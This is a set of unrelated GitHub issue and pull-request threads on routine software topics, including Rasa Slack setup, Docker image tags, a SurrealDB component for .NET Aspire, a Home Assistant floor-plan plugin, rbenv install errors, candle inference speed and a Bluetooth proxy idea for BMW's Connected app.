.

Sorry, my link was wrong. Please refer to the documentation on connecting Slack.
You need a file credentials.yml with a content similar to this:
slack:
  slack_token: "xoxb-286425452756-safjasdf7sl38KLls"
  slack_channel: "@my_channel"

and then run core with:
python -m rasa_core.run -d models/dialogue -u models/nlu/current \
    --credentials credentials.yml

Please use our forum for questions on how to use Rasa. GitHub issues are more thought for actual bugs in the code.


Publish an 8.2 version?

I went through a of images on Docker Hub, but I didn't see any of them with an 8.2 version. I looked at a few of them like this, but was unable to find what I was looking for.
cat /etc/debian_version

I am in a situation where I am currently restricted to using it. Would you be able to publish that version as well?

It is not in the description under "Supported Versions", but it is over on the [tags page](https://hub.docker.com/r/library/debian/tags/ and so it is there for pulling.
$ docker pull debian:8.2
8.2: Pulling from library/debian
523ef1d23f22: Pull complete
140f9bdfeb97: Pull complete
Digest: sha256:3aa657c392fa424c0325eccb9d961d34a2a2e8f95463068441e87c7e6f03f7ee
Status: Downloaded newer image for debian:8.2
$ docker run -it --rm debian:8.2 cat /etc/debian_version
8.2

Ahh, thanks. I stupidly did not even look at that page.


feat: add surrealdb component

Description
Add SurrealDB component to .NET Aspire.
Checklist

Is this feature complete?

[ ] Yes. Ready to ship.
[x] No. Follow-up changes expected.

Are you including unit tests for the changes and scenario tests if relevant?

[x] Yes
[ ] No

Did you add public API?

[ ] Yes

If yes, did you have an API Review for it?

[ ] Yes
[ ] No

Did you add <remarks /> and <code /> elements on your triple slash comments?

[ ] Yes
[ ] No

[x] No

Does the change make any security assumptions or guarantees?

[ ] Yes

If yes, have you done a threat model and had a security review?

[ ] Yes
[ ] No

[x] No

Does the change require an update in our Aspire docs?

[x] Yes

Link to aspire-docs issue:

[ ] No

Microsoft Reviewers: Open in CodeFlow

I am trying to run the tests but the build fails due to PublicAPI txt files. How to fix that?

Can you help me @davidfowl ?

I am trying to run the tests but the build fails due to PublicAPI txt files. How to fix that?

You should add public API signature to PublicAPI.Unshipped.txt
Just use ctr + . on every public api like public class name, pubilc property and method to open intelisense menu and use suggestion.

I am trying to run the tests but the build fails due to PublicAPI txt files. How to fix that?

You should add public API signature to PublicAPI.Unshipped.txt Just use ctr + . on every public api like public class name, pubilc property and method to open intelisense menu and use suggestion.

Visual Studio mystery... Now I can see this suggestion in Intellisense. Thank you for your response anyway.

We need a client component and tests too.
You can find test examples in Aspire.Hosting.PostgreSQL.Tests project.

Closed in favor of the PR opened in the CommunityToolkit repository: https://github.com/CommunityToolkit/Aspire/pull/251


Show days remaining instead of weeks or months

This was also bothering me. What about the following solution?
public function timeRemaining($str_pass, $str_fail) {
    if ($this->close_date_time->isFuture()) {
        $time = $this->close_date_time->diffForHumans(null, true);
        return str_replace_first(':time', $time, $str_pass);
    } else {
        return $str_fail;
    }
}

Then, in the job_index view for example, we would simply have
{{ job.timeRemaining(job_index.index.time_remaining,
                     job_index.index.job_closed) }}

If you want, I could submit a PR.


Improve compatibility with kubernetes by updating actix-web

We noticed that actix-web is potentially not using the right number of CPUs (internal link) on small machines. Bumping to the latest version of actix-web leverage the use of the available_parallelism standard function and could fix the bug.

Closed by #4675, will be released in rc1


Dummy Commit For Coverage

Signed-off-by: Deepanshu Agarwal<EMAIL_ADDRESS>Description
Please explain the changes you've made
Issue reference
We strive to have all PR being opened based on an issue, where the problem or feature have been discussed prior to implementation.
Please reference the issue this PR will close: #[issue number]
Checklist
Please make sure you've completed the relevant tasks for this PR, out of the following list:

[ ] Code compiles correctly
[ ] Created/updated tests
[ ] Extended the documentation / Created issue in the https://github.com/dapr/docs/ repo: dapr/docs#[issue number]

This pull request has been automatically marked as stale because it has not had activity in the last 30 days. It will be closed in 7 days if no further activity occurs. Please feel free to give a status update now, ping for review, or re-open when it's ready. Thank you for your contributions!

This pull request has been automatically closed because it has not had activity in the last 37 days. Please feel free to give a status update now, ping for review, or re-open when it's ready. Thank you for your contributions!


feat: Allow defining, per entity, if it should be an icon or label, and save that persistently

Is your feature request related to a problem? Please describe.
I'm always frustrated when I need to do some changes in the generated YAML file that could be done by code automatically.
Even though we can define if is an icon or label, we can define more common things for each entity or among entities.
Describe the solution you'd like
I would like inputs of how could we achieve this goal, so that we can use later for others features.

Should we create a .yaml file, where user can define some configurations per entity?
Should we export a list of entities so that a user can define any configuration per entity?

Additional context
I have a repo where a user can create a three way switch flow using Node Red automatically, that download devices and entities from a given Home Assistant, so I don't know if "listing" that to user could help somehow as well.

@shmuelzon let me know your idea and inputs here as well please.

Hey,

Even though we can define if is an icon or label

How can we define this? Right now it's hard coded according to the type of HA entity.
Ideally, I want it to be something that's editable (and savable) as a part of the SH3D project. I didn't see and general notes or tags one can add to furniture so the best idea I have have is to use the name and maybe separate things using a semicolon (;).
So we can set the name of a furniture to something like light.kitchen;state-type=icon;other-key=other-val;.... The first part will always be the name and then other key/value options. We can start with the type of YAML representation (state-icon or state-label) and add, later on, other things like icon overrides, location overrides, etc.
We could have used the description but that's now part of the title. Unless we decide to convert the description to the above format and the title will be title=xxx;state-type=icon... It might be cleaner that way instead of reusing the name field.
The location part might become problematic if we ever implement #28 since it might be different for each view...

I was thinking about this during this week. What if we use YAML file as I proposed, and create a key in there, where user can input which entities he would like to update in the floorplan.yaml file in the end. For example:
# ---- Configurations related to entities from HA ----
entities:
  light.kitchen:
      state_icon: false
      state-badge: true

This is just an example, but we can use for so many things such as: position for the icon, gif name, hold_action property, etc.
In my point of view, this would be better organized, better visual of the configurations, and would allow us to add or remove configurations easily.

I agree that this way would be better organized but it would require an additional project file on top of the SH3D file itself.
Then there's the question of how this file is loaded. I would hate for people to need to open yet another browse file dialog to load this configuration file. We could just require that it would be in the output directory but that might not be as intuitive. I need to think about it some more.

Yeah, having a good UX is indeed important, otherwise user would have to open the .yaml file if he wants to change any standard configuration - which for me is fine - but might confuse others users. What if we create another tab in the pluging for this configuration, where it'll update the .yaml file automatically based on users changes? That way, he doesn't need to exit SH3D anytime. I don't know if that is possible though.

We now have a mechanism to save the user's configuration persistently as a part of the project file. It's, basically, just a key-value store but that should be good enough.
What do you think of an advanced button that will open a separate window where the user can modify different settings per light/sensor that's detected? Maybe just a list of all the detected items and, once selected, they can toggle check-boxes or whatnot to override the current behavior, e.g., remove it from the floor-plan, force it to be an icon/label, always-on lights, etc.

Awesome, I am so glad you were able to introduce this feature this fast!
I like the idea of showing the entities found in the user project, so that he can decide whether he wants or which entities he wants to change.
Will you provide the "customization" options available for all entities? Because we have a couple of scenarios. And we don't want users "manually" setting what they want to change and not be equals to the options supported by the plugin.
I think though, this could be in another tab in the plugin, instead of a new window from the plugin (2 windows opens for example). What do you think?

I'm OK with another tab but will this second tab also include the start/close buttons? Because if the user will be able to start the process from the second tab, we'll also need the progress bar there and it might turn out a bit awkward. Need to mock something up to see what it could look like.
I think there will be two types of customizations for now. Lights and the other detected entities, each with their own customization options and there might be a bit of overlap. And yes, we'll need to make sure only relevant options appear for each. And probably also a reset button in case someone messes some things up that will clear it all.

I totally agree, some design to get a clear idea. Let me know if you need any help at all.
Regarding the features, we can improve in next steps to have more customization as possible, such as: changing icons, change icon location, change tap action, gifs, etc.

I had an idea here, and I took the liberty of making a sketch to get your opinion.
Figma design: home-assistant-floor-plan

The first idea would be to add another branch in the tree view, where all the default properties that the plugin would have would be located. The user would click on the icon to expand or shrink these properties to make viewing easier.

The second idea would be for the user to "click" on the entity in the list of entities, and would be directed to a second screen where it would show the same properties of that entity only.

@shmuelzon let me know your inputs in the ideas above please, also feel free to do any changes.

I think I prefer a second screen rather than increasing the tree. We might, later on, add properties to entities that be more complex that something that can be added to a tree


Fix typos in README.md

Hello,
Just submitting a few corrections on the README.
Thanks :)
Arthur

Thank you !


Paging and SortOrder moved to FeedOptions

I am not sure if "SortOrder.Unspecified" is needed.

Next time do a rebase so that the pull request contains only the commit you want.
Basically I did => git rebase master
then I skipped the commits which were already in the master branch.


Add Java code examples for Sorting Algorithm

I am thrilled to contribute to this repository by implementing three essential sorting algorithms: Bubble Sort, Selection Sort, and Merge Sort. This contribution aims to enhance the repository's capabilities by adding fundamental sorting algorithms that can be used as references or as part of various projects. Sorting algorithms are fundamental in computer science, and providing multiple sorting options can be highly valuable.
Changes Made:

Added the BubbleSort class containing a bubbleSort method to sort an integer array using the Bubble Sort algorithm.
Created two test cases to demonstrate the correctness of the bubbleSort method.
Implemented a printArray utility method for displaying sorted arrays neatly.
Added the SelectionSort class containing a selectionSort method to sort an integer array using the Selection Sort algorithm.
Created two test cases to demonstrate the correctness of the selectionSort method.
Implemented a printArray utility method for displaying sorted arrays neatly.
Added the MergeSort class containing a mergeSort method to sort an integer array using the Merge Sort algorithm.
Created two test cases to demonstrate the correctness of the mergeSort method.
Implemented a printArray utility method for displaying sorted arrays neatly.

Technical Details:

The Bubble Sort algorithm (bubbleSort method) sorts an integer array in ascending order by repeatedly comparing and swapping adjacent elements. Its time complexity is O(n^2), making it suitable for small to moderately sized arrays.
The Selection Sort algorithm (selectionSort method) sorts an integer array in ascending order by selecting the minimum element in the unsorted portion and moving it to the sorted portion. It also has a time complexity of O(n^2).
The Merge Sort algorithm (mergeSort method) sorts an integer array by recursively splitting it into halves, sorting them, and then merging them back together. It offers a time complexity of O(n log n), making it efficient for larger datasets.

Testing Done:
I conducted thorough testing to ensure the correctness of all three sorting algorithms:

For each algorithm, I provided two test cases:

Test Case 1: A small array containing {64, 34, 25, 12, 22, 11, 90}.
Test Case 2: A larger array containing {5, 2, 9, 1, 5, 6, 0, 3, 8, 7, 4}.
All test cases produced the expected results, and the sorted arrays were displayed correctly.

Additional Notes:
This contribution aligns perfectly with the goals of Hacktoberfest 2023 by adding valuable algorithmic implementations to the repository. Sorting algorithms are fundamental building blocks in computer science, and this collection of sorting methods can serve as an excellent resource for developers looking to understand sorting algorithms or as part of projects requiring sorting functionality.
I eagerly await your feedback and suggestions to further enhance these contributions. Thank you for considering my pull request.
Happy Hacking!
Janani Balasooriya

I request @tangorishi  to kindly check my contribution related to the issue #11 and accept my contribution with "hacktoberfest-accepted" label.
Thank you!!

Hi @Janani-Balasooriya you are always welcomed to open an issue and get it assigned to yourself so as to maintain a flow of the project keeping in mind the guidelines of HacktoberFest therefore you need to open this as new issue and get assigned to yourself or if this issue is already opened you can get it assigned it to yourself.

Thank you so much for replying. I just noticed someone has assigned to that issue 2 minutes before I made the pull request. Can you create an issue regarding the Bubble Sort algorithm? I'm new to here and this is my first pull request. :)

Yes you can be assigned that issue too, a single issue can be assigned to upto 10 people you need to make a comment under that issue so that we can assign you that issue, then after you can start working on it

Thank you! I commented under that issue. Could you please assign me as well?

Hi @tangorishi Now, I'm assigned to issue #11 . Do I need to make another pull request or can you consider merging this? Could you please guide me?
Thank you!

Hi @tangorishi I have wrote the codes for bubble sort, selection sort and merge sort as mentioned in the issue #11 and stored them in a separate folder named "Sorting". Could you please check my pull request?
Thank you!

@Janani-Balasooriya you need to make SORTING folder inside the 16_FirstContribution folder

I have created a folder SORTING inside the 16_FirstContribution folder and added the algorithm codes to it. Could you please recheck my contribution @tangorishi ?
Thank you! :)

@Janani-Balasooriya good work ! you have your hacktober fest pr merged.


Problems integrating cell and nuclei datasets

Good day,
I am excited to use this tool for building a reference for my study. However, I am having problems integrating single cell and nuclei datasets. When I used the standard integration method by Seurat, I get the expected output but scArches is not able to integrate the data coming from snRNAseq. For both pipelines, I used as batch key the different datasets. See attached picture.
What do you think the issue can be? thanks in advance!

Hi Chris,
Could you please past in the architechture details of the model here? So you have couple of data from normal Rna-seq and one from sn-rna? What do you use as batch key? Datasets?

Thanks for the quick reply. This is how I built the reference:
condition_key = "author"
adata.obs['author'] = adata.obs['author'].astype('category')

adata = sca.data.normalize_hvg(adata,batch_key=condition_key,n_top_genes=2000, logtrans_input = False)
# I normalized the data previously, so I set logtrans_input = False

Using 2 HVGs from full intersect set
Using 8 HVGs from n_batch-1 set
Using 52 HVGs from n_batch-2 set
Using 92 HVGs from n_batch-3 set
Using 141 HVGs from n_batch-4 set
Using 174 HVGs from n_batch-5 set
Using 221 HVGs from n_batch-6 set
Using 287 HVGs from n_batch-7 set
Using 421 HVGs from n_batch-8 set
Using 602 HVGs from n_batch-9 set
Using 2000 HVGs

network = sca.models.scArches(task_name='gbm_atlas',
                              x_dimension=adata.shape[1],
                              z_dimension=10,
                              architecture=[128, 128],
                              gene_names=adata.var_names.tolist(),
                              conditions=adata.obs[condition_key].unique().tolist(),
                              alpha=0.001,
                              loss_fn='nb',
                              model_path="./models/scArches/",
                              )

network.train(adata,
              condition_key=condition_key,
              n_epochs=100,
              batch_size=128,
              save=True,
              retrain=True)

latent_adata = network.get_latent(adata, condition_key)
sc.pp.neighbors(latent_adata)

With lower alpha and higher epochs, I get a more detailed sub clustering, but the dataset generated by nuclei is always standing out. So far, only one dataset was processed by nuclei but, later on, will include others with the same technique and want a reference that can be used to query either cells or nuclei experiments.

I would suggest making the model deeper [128, 128,128]  and make the batch size also smaller: 32 or max 64. I guess the nb loss does not fit nuclei experiments. try zinb  loss and see if it works.
Do all your experiment have the same genes? it is necessary to have the exact gene set.
finally, if it did not work try switch to sse or mse loss this would prob solve the problem.
let me know how it goes, please.
Mo

Thanks for the suggestions. Will test them. When you mentioned that the experiment must have the same exact gene set, you meant the intersected/shared genes among all datasets? (I have seen this approach when using scIB https://github.com/theislab/scib/blob/master/notebooks/data_preprocessing/pancreas/01_collect_human_pancreas_studies.ipynb) or could be the merged genes for all studies? I merged the matrices using Seurat, so not all genes are present in all samples initially, but after merging all of them have the same features, and the ones that were not common in the beginning, are filled with zeros.
I have been using the last one, since the reference I am building is for a tumor type (and expect higher heterogeneity compared with a normal tissue) and if I intersect the features across all the studies I end up with only ~5K common genes. What would be your recommendation in this case?

yes, I meant intersection of genes, would also worth to give it a chance since there might be a lot of genes which are zero in nuclei data but not zero in other one and vice versa, therefore, there would not be a share feature set. And even after hvg selection, there might be genes that are the only hvg in nuclei in one and not the other one. Or increases the number of hvgs to 5k or sth like that to increase the chance.
therefore I would suggest :

increase the HVG set to 5000 or so and check again with different loss functions

try to only subset to the intersection when you concat datasets and rerun models and see.


Support COP-DEM (30 / 90m) retrieval from creodias

Is your feature request related to a problem? Please describe.
Creodias provides the COP DEM at 30 m and 90m on the finder:  https://finder.creodias.eu/resto/api/collections/CopDem/search.json?maxRecords=10&resolution=30&geometry=POLYGON((1.2779813430646272+43.66703702416669%2C1.2685850331328663+43.496872606474625%2C1.5442101244645277+43.496872606474625%2C1.5473422277751145+43.65797373066451%2C1.2779813430646272+43.66703702416669))&sortParam=startDate&sortOrder=descending&status=all&dataset=ESA-DATASET
I could be interesting for the users and the WorldCereal project to get this data with EODAG
Additional context
Linked to WorldCereal project

Hello @savmickael ,
even if the product type is not referenced yet, this can already be exploited using custom extra query parameters:
dag.set_preferred_provider("creodias")
products, estimated_total_number = dag.search(
    collection="CopDem",
    dataset="ESA-DATASET",
    geom=[0.25, 43.2, 2.8, 43.9]
)


Add support for s2i in buildconfigs for OpenShift

right now the build startegy is Docker only, it would be great if s2i is also supported.

I don't think it makes sense to add support for S2I to Kompose.
I defies purpose of Kompose. Kompose is tool that helps docker-compose users move to Kubernetes.
S2I is replacement for Dockerfiles. And everyone who is using docker-compose with build is building images using Dockerfiles.
I just don't se a way how we can support s2i builds and also making sure that same docker-compose.yml file with same build directory will still with docker-compose tool.
On the other side, supporting s2i builds is great usecase for https://github.com/redhat-developer/opencompose

What about in effect generating an s2i builder image given a Dockerfile?  Or if the base image in the Dockerfile is a builder image, then the rest of the Dockerfile takes the place of the assemble and run scripts of the builder image?

@stephanosbacon AFAIK builder images are generic enough to have things needed to run code, and people using docker-compose generally do have steps in Dockerfile where code is copied from local repo into the image, so I don't think using that Dockerfile to generate builder image makes sense.

Or if the base image in the Dockerfile is a builder image, then the rest of the Dockerfile takes the place of the assemble and run scripts of the builder image?

I don't understand this part can you explain it?

@surajssd Sure, they can be generic, but why not generate one on the fly?  Take a generic node.js builder image for example - it's assemble script will likely copy all the subdirectories under . (as the ones that I've seen do), but suppose I don't want that and in my Dockerfile I control exactly what I want copied (e.g. my unit tests).  I may want my unit test code built into a separate container, for example.  What I was thinking was that given a Dockerfile, one has a lot of the information one needs to generate a builder on the fly so to speak.
re the second part - as I mentioned above, in some sense a Dockerfile does what the assemble script does in a Dockerfile, doesn't it?  Why not generate the assemble script from it then, thereby giving the developer a bit more control over what gets put into the container.

What I was thinking was that given a Dockerfile, one has a lot of the information one needs to generate a builder on the fly so to speak.

What are benefits of this over building finished image directly from Dockerfile?
If i understand it correctly, docker build will have to be used to build builder image, and that builder image will be specific only for this one case.

On OpenShift Online and OpenShift Dedicated, one cannot run docker builds (because as I understand it the docker socket is a security hole), and writing one's own builder image is more involved than writing a Dockerfile.

Yes. And for the same reason builder image will have to be build outside of the OpenShift cluster and resulting build image will be specific  for given project.
Than why not build image directly from Dockerfile outside OpenShift and import it to OpenShift as ImageStream?
For me it all sounds like a lot of complicated thinks, with some stuff that I'm not even sure is possible to do,  without any benefits.
Maybe I'm still not getting it. That is also quite possible :blush:

It's entirely likely I'm out in left field, but the builder image would only have to be built once outside of openshift, then imported and re-used to build the project itself multiple times.
What this gets me as a developer is the ability to use my Dockerfile (which presumably isn't going to be changing as frequently as my code) to build a custom builder image for my project (yes, this would have to be built outside of openshift).  This will let me take advantage of s2i builds and build pipelines running entirely in openshift - which I can't do if I'm doing docker builds at least on OpenShift online and dedicated, and I don't have to learn how to create builder images which are kind of arcane and OpenShift-specific.
Ideally kompose would also have flags that tell it to generate build pipelines as well.

What this gets me as a developer is the ability to use my Dockerfile (which presumably isn't going to be changing as frequently as my code) to build a custom builder image for my project (yes, this would have to be built outside of openshift). This will let me take advantage of s2i builds and build pipelines running entirely in openshift - which I can't do if I'm doing docker builds at least on OpenShift online and dedicated, and I don't have to learn how to create builder images which are kind of arcane and OpenShift-specific.

OK, I can see your point.
Only problem that I can see with this is that it will depend on how well is Dockerfile written. I'm afraid that it won't be possible to do it for any Dockerfile and Dockerfile will have to be written in specific way.
I'll try look into it. It might be interesting.

/remove-lifecycle rotten

As what @kadel I don't believe it makes sense to add this to Kompose. Since there hasn't been much discussion on this, let's close this issue and re-open if there is some interest.


Fix/2314 tab url persists

Description

Checklist

[x] For UI or styling changes, I have added a screenshot or gif showing before & after
[x] I have added a changeset
[x] I have added to the docs where applicable
I have added to the VS Code extension where applicable

Demo (3 examples):

Selection of 0 indexed tab (first tab) on first page load
Selection of second tab, refresh page, second tab selection persists
If the User shares url with tab that does not exist, reverts to 0 indexed tab (first tab)

https://github.com/user-attachments/assets/226a7838-bee9-44c8-b394-f967d79c7b86
Future notes:
Currently, we cannot accept multiple tabs with id props, since they will be sharing + updating the same URL. A story was built to demonstrate this.

Should we handle this?
Should we warn users not to do this?

Future PR issue:

Multiple tabs with ID props share same URL
Last tab selection will persist and overrule sibling tabs component

https://github.com/user-attachments/assets/56c38908-150c-4aee-ac5a-c1a46ce57a78

fix #2314

Currently, we cannot accept multiple tabs with id props, since they will be sharing + updating the same URL. A story was built to demonstrate this.

I would consider this core functionality
We should be able to build a URL structure that uses the form
localhost:3000/page-name?tabs_id1=tab_value_x&tabs_id2=tab_value_y

@archiewood  Multi-tab url id functionality
Stories
https://github.com/user-attachments/assets/51b0774c-6fd6-4926-b179-71326cdb7ddc
Evidence Project:
https://github.com/user-attachments/assets/28d9f0b7-80b4-41fd-9916-a69803ec90a0


⚠ Bofrost.be has degraded performance

In e1cdea3, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1460 ms

Resolved: Bofrost.be performance has improved in ad11492.


Can't install Ruby 2.6.5 on Mac 10.14.6

I am setting up a new Mac and I am unable to install Ruby 2.6.5.
I am running macOS Mojave 10.14.6, iTerm2 build 3.3.6, Homebrew 2.1.16, rbenv 1.1.2, ruby-build 20191111.
Here is the output I have been getting:
rbenv install 2.6.5
Downloading openssl-1.1.1d.tar.gz...
-> https://dqw8nmjcqpjn7.cloudfront.net/1e3a91bc1f9dfce01af26026f856e064eab4c8ee0a8f457b5ae30b40b8b711f2
Installing openssl-1.1.1d...
Installed openssl-1.1.1d to /Users/efertsch/.rbenv/versions/2.6.5
Downloading ruby-2.6.5.tar.bz2...
-> https://cache.ruby-lang.org/pub/ruby/2.6/ruby-2.6.5.tar.bz2
error: failed to download ruby-2.6.5.tar.bz2
BUILD FAILED (OS X 10.14.6 using ruby-build 20191111)
Inspect or clean up the working tree at /var/folders/2_/p202cjsn7fbdtn14v1fk6mqh0000gn/T/ruby-build.20191119101615.74488.mC7skZ
Results logged to /var/folders/2_/p202cjsn7fbdtn14v1fk6mqh0000gn/T/ruby-build.20191119101615.74488.log
Last 10 log lines:
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/scrypt.html
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/SM2.html
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/ssl.html
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/X25519.html
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/X448.html -> /Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/X25519.html
/Users/efertsch/.rbenv/versions/2.6.5/openssl/share/doc/openssl/html/man7/x509.html
/var/folders/2_/p202cjsn7fbdtn14v1fk6mqh0000gn/T/ruby-build.20191119101615.74488.mC7skZ ~/Desktop
~/Desktop
/var/folders/2_/p202cjsn7fbdtn14v1fk6mqh0000gn/T/ruby-build.20191119101615.74488.mC7skZ ~/Desktop
curl: (6) Could not resolve host: cache.ruby-lang.org
I have tried a number of things:

brew update && brew upgrade ruby-build
Uninstalling and re-installing rbenv
Unistalling and re-installing openssl
Unlinking and re-linking pkg-config
This command: RUBY_CONFIGURE_OPTS="--with-openssl-dir=$(brew --prefix openssl)" rbenv install  2.6.5
This command: CC=clang rbenv install 2.6.5

Can't seem to get anything working. This issue makes it seem like it could be a network error?
Any and all help is greatly appreciated!

Power cycling is an obvious, yet beautiful gift.

Power cycling is an obvious, yet beautiful gift.

Yep, restarting fixed this for me too. On MacOS 10.15.1. ruby 2.6.5.

For me updating wget with brew install wget did the trick


inference in GGUF models is extremely slow

Hi I really like candle and am using it for one of my projects right now. My machine specs are:
16 inch Macbook Pro
CPU: 2.6 GHz 6-Core Intel Core i7
GPU: Intel UHD Graphics 630 1536 MB
Memory: 16 GB 2667 MHz DDR4

I am running llama2 with tiny-llama-fast-tokenizer. When I run it with the quantized example in candle-examples, it works fine. I get about 5 tokens/s. When I run the same model with my code, I maybe get 1 token/minute. After investigating I'm seeing an issue where my code halts at model.forward. When I copy pasted my code into one of the examples (the exact path is candle-examples/examples/quantized/main.rs), it ran fine.
I'm pretty sure I've setup the repo wrong, I have replicated the cargo.toml from the example code but still the problem persists. What could be wrong? Any help is appreciated
Repository
model:  llama-2-7b-chat.Q4_K_M.gguf
tokenizer: tiny-llama-fast-tokenizer

You may also want to replicate the .cargo/config.toml file or compile with the -C target-cpu=native compile flags. This should ensure that the simd instructions of your cpu are properly leveraged.

Hi @LaurentMazare , thanks for the reply. I added the config.toml file, but I still see that the inference speed is very slow - about 1 token every 2 - 3 minutes. Anything else that I could've missed?

Oh that's sad. Could you update your repo with this and I'll see if I can reproduce the issue.

(also obviously you should compile in release mode to enable optimization but I guess you already double checked this bit)

(also obviously you should compile in release mode to enable optimization but I guess you already double checked this bit)

I missed this. Retried with  the --release flag and I am getting the same performance that I get with the candle repo. Thanks a ton @LaurentMazare!

Closing as solved, feel free to re-open if needed!


Feature idea: Companion app for BT support of older vehicles

Hi, here is a feature idea, I would be happy to know what you all think about it:
Problem:
Might be a real "first world problem", but I do not particularly love the fact that I need to connect my phone via USB in my iDrive 4 (ID4) equipped car. I often forget it when I enter the vehicle and also often forget my phone when I leave the car. Having it all connect wireless via Bluetooth (BT) would be great, so my phone can just stay in my pocket or bag.
 Using one of them (Phone_2), connect it via USB to the car, my daily phone (Phone_1) would connect to this phone via BT.
Phone_1 <---BT---> Phone_2 <---USB---> Car
Phone_2 would have installed the Connected app, as well as a additional proxy app that would be able to communicate over BT with another app/module on Phone_1. In the best case, this module would be part of AAI. This module/AAI would then just send the data it would normally send to the connected through this BT connection to the proxy app, which would forward it to the Connected app.

What do you think about this idea? Would it be feasable?
I am not sure how much effort needs to be put into the "proxy app" for connecting to the Connected app. I think the communication between the two apps via Bluetooth (using a serial connection or similar) should not be a big problem.

My favorite aspect over ID5 is indeed the automatic connection without needing to pull the phone out of my pocket.
Because the Connected app hosts a TCP service to talk to the car, there are many feasible possibilities. The ACCESSORY_ATTACHED intent includes a hostname and port to connect to, and AAI also supports just probing the ports that the car service normally listens at. However, Connected only binds the service to localhost, so some proxy method on your Phone_2 will be needed.
One approach which might be quick to experiment with: If you have sshd on Phone_2, you could have Phone_1 just ssh to Phone_2 and -o LocalForward 4004:localhost:4004, and AAI's port probing on Phone_1 should automatically probe and connect through the SSH tunnel to BMW Connected on Phone_2. Then you would just need to figure out other transport-level things (Wifi-Direct connection, tunneling the car TCP connections through a single Bluetooth connection somehow, maybe something with Bluetooth PAN). Trying to proxy audio through such a system would be an extra complication (keep in mind that AAI's MusicAppMode will assume it can successfully get audio context depending on the port that it is connected to).
So yes, it is technically feasible! I've even tried it a few months ago, as a way to try to sniff traffic on my non-rooted phone (with both phones being on the same wifi, which wouldn't work for your goal).

I personally think it is simply easier to just connect via USB rather than using a second phone that is constantly connected to the car and works as an in-between. I have either an iPhone or Android plugged in so whenever I get into the car it is ready to grab and operate.
Of course just using Bluetooth would be even better, but I lay my phone on top of the cup holders inlays by default.
One major flaw in the idea imo is you will have to make sure the second phone is always charged up and actually operating, and of course that you will need a second phone lay around in your car.
But the thought itself sure is cool, but personally a weird detour.

@hufman now implemented an option to add an additional ip address and port to search for listening car connection servers.
The featuer is currently in the latest open beta.
For me the wireless solution is now working as desribed in
https://github.com/BimmerGestalt/AAIdrive/issues/510


gnome-pomodoro 0.24.1 → 0.26.0

Description of changes
This PR brings gnome-pomodoro up to the latest published version which is compatible with both Gnome 46 and 47. Both the application portion and the extension are functional.
The fix-schema-path.patch had to be changed, as the way that schemas were compiled upstream changed after v0.24 which broke the existing build steps. I also added a preFixup patch to compile these schemas manually.
Fixes NixOS/nixpkgs#314999.

Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[X] sandbox = true

[X] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages
As far as I'm aware, there were not existing tests for this package and I did not add any. However, it was verified to function locally.

[X] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[X] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Just found out that I'm maintaining three pomodoro packages 😅 please also consider add yourself to maintainers

Just found out that I'm maintaining three pomodoro packages 😅 please also consider add yourself to maintainers

Sure, I've added a commit making myself a maintainer on this package. Thanks for your review!


Pass all columns from upstream chunk to agg states' apply_batch

Since we have args and order_pairs which contains the upstream column indices in risingwave_stream::executor::aggregation::agg_call::AggCall, and AggCalls will be passed into new when creating ManagedTableState implementations, these agg states can store the upstream column indices in their struct. However, currently in GlobalSimpleAggExecutor and HashAggExecutor, we select several columns from upstream chunk then pass them to agg_state.apply_batch, this makes agg states hard to find interested columns according to saved indices. Agg states like GenericExtremeState now determine the input columns by hardcoded inference logic, when bugs appear, it's very hard to debug.
I propose that we just pass all the columns to agg_state.apply_batch, this will make agg states easy to write and debug. I've done this for newly added ManagedStringAggState, the code is much simpler.

@st1page 's final vision also includes write state table in executor instead of AggState, so that AggState is unaware of column_mapping.
If this is the final version, what about move state table out from apply_batch and write it in executor first? Agree this but I'm not sure which is the best path.

write state table in executor instead of AggState, so that AggState is unaware of column_mapping\

+1 for doing it first, which will actually reduce the workload of this issue.

After some discuss with @st1page ,
My thoughts for column_mapping:
For max or min (table state), we need to update the top_n cache, which may still need to aware group key, stream pk, sort key.
And HashAgg needs to know group key or more keys to do partition of AggStates. So After we apply column_mapping, executor might still need to know group key, stream pk stuffs.
For sum or count (value state), column mapping can not help.

After some discuss with @st1page ,
My thoughts for column_mapping:
For max or min (table state), we need to update the top_n cache, which may still need to aware group key, stream pk, sort key. And HashAgg needs to know group key or more keys to do partition of AggStates. So After we apply column_mapping, executor might still need to know group key, stream pk stuffs.
For sum or count (value state), column mapping can not help.

maybe not, let's wait for @richardchien's new design. I think he will give a more clear and more elegant solution.


ci(codecov.yaml): make it pass regardless of coverage

Description

I think I should have updated these lines too.
It got better, only 2 are failing now. With these too, all should pass.
Related links
Continuation from:

https://github.com/autowarefoundation/autoware.universe/pull/7793

How was this PR tested?
Notes for reviewers
The targets for these were changed in the previous PR:

Interface changes
None.

Effects on system behavior
None.

Seems fixed!
cc. @esteve


move file folder to the top position

Issue Type: Feature Request
In an item,there are too many file folders.Some of them is very important. I think if I can move them to the top position, it is easily to find them.
In the same level, adjusting the file folders' position by ourselves is what we want.
Please consider it.Thanks.
VS Code version: Code 1.57.1 (507ce72a4466fbb27b715c3722558bb15afa9f48, 2021-06-17T13:28:07.755Z)
